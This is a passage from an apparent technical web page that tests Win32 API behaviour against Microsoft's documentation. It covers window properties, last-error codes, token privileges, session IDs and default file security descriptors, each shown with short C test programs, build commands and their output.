			PrintConsole(hError,
			             L"GetDesktopWindow() returned error %lu\n",
			             dwError = GetLastError());
#else
		hWindow = GetShellWindow();
		if (hWindow == NULL)
			PrintConsole(hError,
			             L"GetShellWindow() returned error %lu\n",
			             dwError = GetLastError());
#endif
		else
		{
			bBlunder = EnumProps(hWindow, PropEnumProc);
			if (bBlunder != TRUE)
				PrintConsole(hError,
				             L"EnumProps() returned 0x%08X\n",
				             bBlunder);
			bBlunder = EnumPropsEx(hWindow, EnumPropExProc, (LPARAM) hError);
			if (bBlunder != TRUE)
				PrintConsole(hError,
				             L"EnumPropsEx() returned 0x%08X\n",
				             bBlunder);
			do
			{
				PrintConsole(hError, L"\n");
				SetLastError(~0UL);
				if (RemoveProp(hWindow, szBlunder[dwBlunder]) == NULL)
					PrintConsole(hError,
					             L"RemoveProp() returned error %lu for property \'%ls\'\n",
					             dwError = GetLastError(), szBlunder[dwBlunder]);
				SetLastError(~0UL);
				if (GetProp(hWindow, szBlunder[dwBlunder]) == NULL)
					PrintConsole(hError,
					             L"GetProp() returned error %lu for property \'%ls\'\n",
					             dwError = GetLastError(), szBlunder[dwBlunder]);
				SetLastError(~0UL);
				if (!SetProp(hWindow, szBlunder[dwBlunder], NULL))
					PrintConsole(hError,
					             L"SetProp() returned error %lu for property \'%ls\'\n",
					             dwError = GetLastError(), szBlunder[dwBlunder]);
				else
				{
					bBlunder = EnumPropsEx(hWindow, EnumPropExProc, (LPARAM) hError);
					if (bBlunder != TRUE)
						PrintConsole(hError,
						             L"EnumPropsEx() returned 0x%08X\n",
						             bBlunder);
					SetLastError(~0UL);
					if (GetProp(hWindow, szBlunder[dwBlunder]) == NULL)
						PrintConsole(hError,
						             L"GetProp() returned error %lu for property \'%ls\'\n",
						             dwError = GetLastError(), szBlunder[dwBlunder]);
					SetLastError(~0UL);
					if (RemoveProp(hWindow, szBlunder[dwBlunder]) == NULL)
						PrintConsole(hError,
						             L"RemoveProp() returned error %lu for property \'%ls\'\n",
						             dwError = GetLastError(), szBlunder[dwBlunder]);
				}
			}
			while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(32) : warning C4100: 'hData' : unreferenced formal parameter blunder.c(32) : warning C4100: 'lpString' : unreferenced formal parameter blunder.c(32) : warning C4100: 'hWindow' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
EnumProps() returned 0x77A0B4C9 EnumPropsEx() returned 0x00FB1060 RemoveProp() returned error 4294967295 for property 'BLUNDER' GetProp() returned error 4294967295 for property 'BLUNDER' 0x13400BAC: property 'BLUNDER' is 0x00000000 GetProp() returned error 4294967295 for property 'BLUNDER' RemoveProp() returned error 4294967295 for property 'BLUNDER' RemoveProp() returned error 123 for property '' GetProp() returned error 123 for property '' SetProp() returned error 123 for property '' RemoveProp() returned error 4294967295 for property '' GetProp() returned error 4294967295 for property '' SetProp() returned error 87 for property '' 0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87) Error message text: The parameter is incorrect. CertUtil: -error command completed successfully.OUCH¹: contrary to the highlighted statement of their documentations cited above, the Win32 functions
EnumProps()
            and
            EnumPropsEx()
            fail to return −1 when they don’t enumerate a property!
         OUCH²: the documentations for the
            Win32 functions
            GetProp()
            and
            RemoveProp()
            fail to specify that both functions set the last error code –
            at least when the specified property is an empty character string!
        
OUCH³: both functions but fail to set the last error code if the requested property does not exist!
 OUCH⁴: both functions also fail to (re)set
            the last error code if the handle set for the requested property is
            NULL, i.e. it’s impossible to distinguish whether
            a property exists or its handle is NULL!
        
 OUCH⁵: contrary to the Win32
            function
            SetProp()
            they but fail to set the last error code (for example) to 87 alias
            ERROR_INVALID_PARAMETER
            if the requested property is NULL!
        
GetLastError()
            states:
        The Return Value section of the documentation for each function that sets the last-error code notes the conditions under which the function sets the last-error code. Most functions that set the thread's last-error code set it when they fail. However, some functions also set the last-error code when they succeed. If the function is not documented to set the last-error code, the value returned by this function is simply the most recent last-error code to have been set; some functions set the last-error code to 0 on success and others do not.The documentation for the Win32 function
IsTokenRestricted()
            states:
        The IsTokenRestricted function indicates whether a token contains a list of restricted security identifiers (SIDs).CAVEAT: unless the[…]
If the token contains a list of restricting SIDs, the return value is nonzero.
If the token does not contain a list of restricting SIDs, the return value is zero.
If an error occurs, the return value is zero. To get extended error information, call GetLastError.
IsTokenRestricted()
            function resets the last error code when the
            token
            does not contain a list of restricting
            security identifiers
            its result can’t be distinguished from an error!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hToken;
	HANDLE	hProcess = GetCurrentProcess();
	if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
		dwError = GetLastError();
	else
	{
		SetLastError(~0UL);
		if (!IsTokenRestricted(hToken))
			dwError = GetLastError();
		if (!CloseHandle(hToken))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
-1OUCH: the
IsTokenRestricted()
            function fails to reset the last error code when the
            token
            does not contain a list of restricting security identifiers!
        SendMessageTimeout()
            specifies in its Return valuesection:
Note that the function does not always call SetLastError on failure. If the reason for failure is important to you, call SetLastError(ERROR_SUCCESS) before calling SendMessageTimeout. If the function returns 0, and GetLastError returns ERROR_SUCCESS, then treat it as a generic failure.The documentation for the Win32 function
GetTlsValue()
            specifies in its Return valuesection:
If the function fails, the return value is zero. To get extended error information, call GetLastError.The documentation for the Win32 functionThe data stored in a TLS slot can have a value of 0 because it still has its initial value or because the thread called the TlsSetValue function with 0. Therefore, if the return value is 0, you must check whether GetLastError returns ERROR_SUCCESS before determining that the function has failed. If GetLastError returns ERROR_SUCCESS, then the function has succeeded and the data stored in the TLS slot is 0. Otherwise, the function has failed.
Functions that return indications of failure call SetLastError when they fail. They generally do not call SetLastError when they succeed. The TlsGetValue function is an exception to this general rule. The TlsGetValue function calls SetLastError to clear a thread's last error when it succeeds. That allows checking for the error-free retrieval of zero values.
GetFileType()
            specifies in its Return valuesection:
The documentation for the Win32 function
Return code/value Description … … FILE_TYPE_UNKNOWN 
0x0000Either the type of the specified file is unknown, or the function failed. You can distinguish between a "valid" return of FILE_TYPE_UNKNOWN and its return due to a calling error (for example, passing an invalid handle to GetFileType) by calling GetLastError
If the function worked properly and FILE_TYPE_UNKNOWN was returned, a call to GetLastError will return NO_ERROR.
If the function returned FILE_TYPE_UNKNOWN due to an error in calling GetFileType, GetLastError will return the error code.
GetFileSize()
            specifies in its Remarkssection:
Note that if the return value is INVALID_FILE_SIZE (0xffffffff), an application must call GetLastError to determine whether the function has succeeded or failed. The reason the function may appear to fail when it has not is that lpFileSizeHigh could be non-NULL or the file size could be 0xffffffff. In this case, GetLastError will return NO_ERROR (0) upon success.The documentation for the Win32 function
GetCompressedFileSize()
            specifies in its Return valuesection:
If the return value is INVALID_FILE_SIZE and lpFileSizeHigh is non-NULL, an application must call GetLastError to determine whether the function has succeeded (value is NO_ERROR) or failed (value is other than NO_ERROR).The documentation for the Win32 function
AdjustTokenPrivileges()
            specifies in its Return valuesection:
If the function succeeds, the return value is nonzero. To determine whether the function adjusted all of the specified privileges, call GetLastError, which returns one of the following values when the function succeeds:
Return code Description ERROR_SUCCESS The function adjusted all specified privileges. ERROR_NOT_ALL_ASSIGNED The token does not have one or more of the privileges specified in the NewState parameter. The function may succeed with this error value even if no privileges were adjusted. The PreviousState parameter indicates the privileges that were adjusted. If the function fails, the return value is zero. To get extended error information, call GetLastError.
TOKEN_PRIVILEGES
            structure specifies:
        The TOKEN_PRIVILEGES structure contains information about a set of privileges for an access token. […]typedef struct TOKEN_PRIVILEGES { DWORD PrivilegeCount; LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]; } TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
LUID_AND_ATTRIBUTES
            The documentation for the Win32 function
            AdjustTokenPrivileges()
            states:
        The AdjustTokenPrivileges function enables or disables privileges in the specified access token. […][…]BOOL AdjustTokenPrivileges( [in] HANDLE TokenHandle, [in] BOOL DisableAllPrivileges, [in, optional] PTOKEN_PRIVILEGES NewState, [in] DWORD BufferLength, [out, optional] PTOKEN_PRIVILEGES PreviousState, [out, optional] PDWORD ReturnLength );
[in] BufferLengthSpecifies the size, in bytes, of the buffer pointed to by the PreviousState parameter. This parameter can be zero if the PreviousState parameter is NULL.
[out, optional] PreviousStateA pointer to a buffer that the function fills with a TOKEN_PRIVILEGES structure that contains the previous state of any privileges that the function modifies. That is, if a privilege has been modified by this function, the privilege and its previous state are contained in the TOKEN_PRIVILEGES structure referenced by PreviousState. If the PrivilegeCount member of TOKEN_PRIVILEGES is zero, then no privileges have been changed by this function. This parameter can be NULL.
If you specify a buffer that is too small to receive the complete list of modified privileges, the function fails and does not adjust any privileges. In this case, the function sets the variable pointed to by the ReturnLength parameter to the number of bytes required to hold the complete list of modified privileges.
[out, optional] ReturnLengthA pointer to a variable that receives the required size, in bytes, of the buffer pointed to by the PreviousState parameter. This parameter can be NULL if PreviousState is NULL.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define SE_CHANGE_NOTIFY_PRIVILEGE	23UL	// "SeChangeNotifyPrivilege"
const	TOKEN_PRIVILEGES	tp = {ANYSIZE_ARRAY, {SE_CHANGE_NOTIFY_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	TOKEN_PRIVILEGES	tpState;
	DWORD	dwState;
	DWORD	dwError;
	HANDLE	hToken;
	HANDLE	hProcess = GetCurrentProcess();
	if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
		dwError = GetLastError();
	else
	{
		if (!AdjustTokenPrivileges(hToken,
		                           FALSE,
		                           &tp,
#ifndef BLUNDER
		                           sizeof(tpState),
#else
		                           sizeof(tpState.PrivilegeCount),
#endif
		                           &tpState,
		                           &dwState))
			dwError = GetLastError();
		else
			dwError = tpState.PrivilegeCount;
		if (!CloseHandle(hToken))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(29) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: since the
SeChangeNotifyPrivilege
            alias
            SE_CHANGE_NOTIFY_NAME
            privilege
            is enabled per default no privileges are modified here – the
            PrivilegeCount member of tpState is set to
            0 and its Privileges[ANYSIZE_ARRAY] member
            should not be used!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(29) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code to demonstrate the
            misbehaviour:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x7a (WIN32: 122 ERROR_INSUFFICIENT_BUFFER) -- 122 (122) Error message text: The data area passed to a system call is too small. CertUtil: -error command completed successfully.OUCH: the
AdjustTokenPrivileges()
            function fails with Win32 error code 122 alias
            ERROR_INSUFFICIENT_BUFFER
            despite the unused
            Privileges[ANYSIZE_ARRAY] member!
        The following are valid access rights for access-token objects:The documentation for the
The DELETE, READ_CONTROL, WRITE_DAC, and WRITE_OWNER standard access rights. Access tokens do not support the SYNCHRONIZE standard access right.
The ACCESS_SYSTEM_SECURITY right to get or set the SACL in the object's security descriptor.
The specific access rights for access tokens, which are listed in the following table.
Value Meaning TOKEN_ADJUST_DEFAULT Required to change the default owner, primary group, or DACL of an access token. TOKEN_ADJUST_GROUPS Required to adjust the attributes of the groups in an access token. TOKEN_ADJUST_PRIVILEGES Required to enable or disable the privileges in an access token. TOKEN_ADJUST_SESSIONID Required to adjust the session ID of an access token. The SE_TCB_NAME privilege is required. … … TOKEN_ASSIGN_PRIMARY Required to attach a primary token to a process. The SE_ASSIGNPRIMARYTOKEN_NAME privilege is also required to accomplish this task. TOKEN_DUPLICATE Required to duplicate an access token. TOKEN_EXECUTE Same as STANDARD_RIGHTS_EXECUTE. TOKEN_IMPERSONATE Required to attach an impersonation access token to a process. TOKEN_QUERY Required to query an access token. TOKEN_QUERY_SOURCE Required to query the source of an access token. TOKEN_READ Combines STANDARD_RIGHTS_READ and TOKEN_QUERY. TOKEN_WRITE Combines STANDARD_RIGHTS_WRITE, TOKEN_ADJUST_PRIVILEGES, TOKEN_ADJUST_GROUPS, and TOKEN_ADJUST_DEFAULT. TOKEN_ALL_ACCESS Combines all possible access rights for a token. 
TOKEN_INFORMATION_CLASS
            enumeration states:
        The TOKEN_INFORMATION_CLASS enumeration contains values that specify the type of information being assigned to or retrieved from an access token.[…]
… 
…TokenSessionId
[…]
If TokenSessionId is set with SetTokenInformation, the application must have the Act As Part Of the Operating System privilege, and the application must be enabled to set the session ID in a token.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	DWORD	dwSession = 0UL;
	HANDLE	hProcess = GetCurrentProcess();
	HANDLE	hToken;
	if (!OpenProcessToken(hProcess,
#ifdef BLUNDER
	                      TOKEN_ADJUST_DEFAULT |
#endif
	                      TOKEN_ADJUST_SESSIONID,
	                      &hToken))
		dwError = GetLastError();
	else
	{
		if (!SetTokenInformation(hToken,
		                         TokenSessionId,
		                         &dwSession,
		                         sizeof(dwSession)))
			dwError = GetLastError();
		if (!CloseHandle(hToken))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
SetTokenInformation()
            fails with Win32 error code 5 alias
            ERROR_ACCESS_DENIED
            – contrary to the highlighted statements of the documentation
            cited above, the TOKEN_ADJUST_SESSIONID access right is
            not sufficient for
            TokenSessionId!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314) Error message text: A required privilege is not held by the client. CertUtil: -error command completed successfully.OUCH²: contrary to the highlighted statements of the documentation cited above, the Win32 function
SetTokenInformation()
            requires the access rights TOKEN_ADJUST_DEFAULT
            and TOKEN_ADJUST_SESSIONID for
            TokenSessionId!
         Note: the Win32 error code 1314 alias
            ERROR_PRIVILEGE_NOT_HELD
            is expected here – the
            SeTcbPrivilege
            alias
            SE_TCB_NAME
            privilege
            is not enabled.
        
The system uses the following algorithm to build a DACL for most types of new securable objects:The MSDN article SACL for a New Object specifies:
- The object's DACL is the DACL from the security descriptor specified by the object's creator. The system merges any inheritable ACEs into the specified DACL unless the SE_DACL_PROTECTED bit is set in the security descriptor's control bits.
- If the creator does not specify a security descriptor, the system builds the object's DACL from inheritable ACEs.
- If no security descriptor is specified and there are no inheritable ACEs, the object's DACL is the default DACL from the primary or impersonation token of the creator.
- If there is no specified, inherited, or default DACL, the system creates the object with no DACL, which allows everyone full access to the object.
The system uses the following algorithm to build a SACL for most types of new securable objects:The MSDN article Owner of a New Object states:
- The object's SACL is the SACL from the security descriptor specified by the object's creator. The system merges any inheritable ACEs into the specified SACL unless the SE_SACL_PROTECTED bit is set in the security descriptor's control bits. SYSTEM_RESOURCE_ATTRIBUTE_ACEs and SYSTEM_SCOPED_POLICY_ID_ACEs from a parent object will be merged to a new object even if the SE_SACL_PROTECTED bit is set.
- If the creator does not specify a security descriptor, the system builds the object's SACL from inheritable ACEs.
- If there is no specified or inherited SACL, the object has no SACL.
To specify a SACL for a new object, the object's creator must have the SE_SECURITY_NAME privilege enabled. If the specified SACL for a new object contain only SYSTEM_RESOURCE_ATTRIBUTE_ACEs, then the SE_SECURITY_NAME privilege is not required. The creator does not need this privilege if the object's SACL is built from inherited ACEs.
An object's owner implicitly has WRITE_DAC access to the object. This means that the owner can modify the object's discretionary access control list (DACL), and thus, can control access to the object.OUCH⁰: the object’s owner always had implicitThe owner of a new object is the default owner security identifier (SID) from the primary or impersonation token of the creating process. To get or set the default owner in an access token, call the GetTokenInformation or SetTokenInformation function with the TOKEN_OWNER structure. The system does not allow you to set a token's default owner to a SID that is not valid, such as the SID of another user's account.
A process with the SE_TAKE_OWNERSHIP privilege enabled can set itself as the owner of an object. A process with the SE_RESTORE_NAME privilege enabled or with WRITE_OWNER access to the object can set any valid user or group SID as the owner of an object.
READ_CONTROL
            access too before Windows Vista – there and on
            later versions of Windows NT the owner can read
            and (over)write the object’s
            DACL
            unless an
            access control entry
            for the
            trustee
            with
            well-known security identifier
            S-1-3-4 alias
            OWNER RIGHTS overrides this implicit
            granted access with explicit granted respectively denied access!
        The MSDN article Primary Group of a New Object specifies:
A new object's primary group is the primary group from the security descriptor specified by the object's creator. If an object's creator does not specify a primary group, the object's primary group is the default primary group from the creator's primary or impersonation token.The MSDN article Security Descriptors specifies:
A security descriptor contains the security information associated with a securable object. A security descriptor consists of a SECURITY_DESCRIPTOR structure and its associated security information. A security descriptor can include the following security information:The MSDN article
- Security identifiers (SIDs) for the owner and primary group of an object.
- A DACL that specifies the access rights allowed or denied to particular users or groups.
- A SACL that specifies the types of access attempts that generate audit records for the object.
- A set of control bits that qualify the meaning of a security descriptor or its individual members.
SECURITY_DESCRIPTOR_CONTROL
            specifies:
        The SECURITY_DESCRIPTOR_CONTROL data type is a set of bit flags that qualify the meaning of a security descriptor or its components. Each security descriptor has a Control member that stores the SECURITY_DESCRIPTOR_CONTROL bits.The TechNet article Security Identifiers Technical Overview specifies:
The following table lists the universal well-known SIDs.Universal well-known SIDs
Value Universal Well-Known SID Identifies … … … S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner. 
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <aclapi.h>
#define NO_ACCESS	0UL
#define FILE_SHARE_NONE	0UL
typedef	struct	_ace
{
	ACE_HEADER	Header;
	ACCESS_MASK	Mask;
	SID		Trustee;
} ACE;
const	struct	_acl
{
	ACL	acl;
	ACE	ace;
} dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
	// (A;NP;;;;OW)
          {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
           NO_ACCESS,
           {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}},
  sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
	// (ML;NP;;;;ME)
          {{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
           NO_ACCESS,
           {SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}};
const	SID	owner = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_IUSER_RID},
		group = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_BUILTIN_DOMAIN_RID};
const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
				      0,
#ifndef BLUNDER
				      SE_DACL_PRESENT | SE_DACL_PROTECTED,
				      (SID *) NULL,
				      (SID *) NULL,
				      (ACL *) NULL,
				      &dacl};
#elif BLUNDER == 0
				      SE_DACL_PROTECTED | SE_SACL_PROTECTED,
				      (SID *) NULL,
				      (SID *) NULL,
				      (ACL *) NULL,
				      (ACL *) NULL};
#elif BLUNDER == 1
				      SE_DACL_PROTECTED | SE_SACL_PRESENT,
				      (SID *) NULL,
				      (SID *) NULL,
				      &sacl,
				      (ACL *) NULL};
#elif BLUNDER == 2
				      SE_DACL_PROTECTED,
				      &owner,
				      (SID *) NULL,
				      (ACL *) NULL,
				      (ACL *) NULL};
#elif BLUNDER == 3
				      SE_DACL_PROTECTED,
				      (SID *) NULL,
				      &group,
				      (ACL *) NULL,
				      (ACL *) NULL};
#endif // BLUNDER
const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError;
	HANDLE	hBlunder = CreateFile(L"blunder.tmp",
		                      NO_ACCESS,
		                      FILE_SHARE_NONE,
		                      &sa,
		                      CREATE_NEW,
		                      FILE_ATTRIBUTE_NORMAL,
		                      (HANDLE) NULL);
	if (hBlunder == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		if (!CloseHandle(hBlunder))
			dwError = GetLastError();
#ifdef BLUNDER
		dwError = SetNamedSecurityInfo(L"blunder.tmp",
		                               SE_FILE_OBJECT,
		                               DACL_SECURITY_INFORMATION,
		                               (SID *) NULL,
		                               (SID *) NULL,
		                               &dacl,
		                               (ACL *) NULL);
#endif
		if (!DeleteFile(L"blunder.tmp"))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
}SID
            ACL
            ACE_HEADER
            ACE
            SECURITY_INFORMATION
            SE_OBJECT_TYPE
         Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(72) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers blunder.c(98) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
SetNamedSecurityInfo()
            fails to write the
            DACL
            with Win32 error code 5 alias
            ERROR_ACCESS_DENIED
            – contrary to the highlighted statements of the third
            MSDN article
            cited above, but in accordance with the
            TechNet
            article cited above, the file’s owner can not
            write it!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined as 0:
        
CL.EXE /DBLUNDER=0 blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(72) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314) Error message text: A required privilege is not held by the client. CertUtil: -error command completed successfully.OUCH²: the Win32 function
CreateFile()
            fails with Win32 error code 1314 alias
            ERROR_PRIVILEGE_NOT_HELD
            – contrary to the highlighted statement of the second
            MSDN article
            cited above, the creator needs the
            SE_SECURITY_NAME
            privilege!
            although no
            SACL is set!
         Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            BLUNDER defined as 1:
        
CL.EXE /DBLUNDER=1 blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(56) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(72) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 6. and evaluate its exit code:
        
